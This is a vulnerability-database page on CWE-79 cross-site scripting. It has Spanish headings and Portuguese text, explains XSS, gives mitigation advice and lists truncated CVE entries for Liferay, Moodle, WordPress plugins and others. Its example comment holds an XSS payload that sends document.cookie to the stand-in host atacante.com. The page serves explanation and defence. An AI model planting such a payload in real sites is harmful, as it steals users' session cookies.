Fallos del tipo CWE-79

29.081 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-42114MEDIUMA Cross-site scripting (XSS) vulnerability in the Role module's edit role assignees page in Liferay Portal 7.4.0 through 7.4.3.36, and LiferEPSS 0.5%CVE-2026-84070HIGHIBM Guardium Data Protection is affected by multiple vulnerabilities.EPSS 0.5%CVE-2023-33944MEDIUMCross-site scripting (XSS) vulnerability in Layout module in Liferay Portal 7.3.4 through 7.4.3.68, and Liferay DXP 7.3 before update 24, anEPSS 0.5%CVE-2022-42115MEDIUMCross-site scripting (XSS) vulnerability in the Object module's edit object details page in Liferay Portal 7.4.3.4 through 7.4.3.36 allows rEPSS 0.5%CVE-2024-29374MEDIUMA Cross-Site Scripting (XSS) vulnerability exists in the way MOODLE 3.10.9 handles user input within the "GET /?lang=" URL parameter.EPSS 0.5%CVE-2023-0787HIGHCross-site Scripting (XSS) - Generic in thorsten/phpmyfaqEPSS 0.5%CVE-2022-32407MEDIUMSoftr v2.0 was discovered to contain a Cross-Site Scripting (XSS) vulnerability via the First Name parameter under the Create A New Account EPSS 0.5%CVE-2022-41558CRITICALTIBCO Spotfire Stored Cross Site Scripting (XSS) VulnerabilityEPSS 0.5%CVE-2024-1541MEDIUMGutenberg Blocks by Kadence Blocks – Page Builder Features <= 3.2.23 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-1497MEDIUMOrbit Fox by ThemeIsle <= 2.10.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via form widget addr2_width attributeEPSS 0.5%CVE-2023-1148MEDIUMCross-site Scripting (XSS) - Stored in flatpressblog/flatpressEPSS 0.5%CVE-2022-37330MEDIUMWordPress WHA Crossword plugin <= 1.1.10 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2024-47093HIGHFix various XSS issues and potential RCEEPSS 0.5%CVE-2024-1499MEDIUMOrbit Fox by ThemeIsle <= 2.10.30 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2023-1882HIGHCross-site Scripting (XSS) - DOM in thorsten/phpmyfaqEPSS 0.5%CVE-2023-5864HIGHCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2023-3387MEDIUMLana Text to Image <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2023-1760HIGHCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2024-26019MEDIUMNinja Forms prior to 3.8.1 contains a cross-site scripting vulnerability in submit processing. If this vulnerability is exploited, an arbitrEPSS 0.5%CVE-2021-23225—Cacti 1.1.38 allows authenticated users with User Management permissions to inject arbitrary web script or HTML in the "new_username" field EPSS 0.5%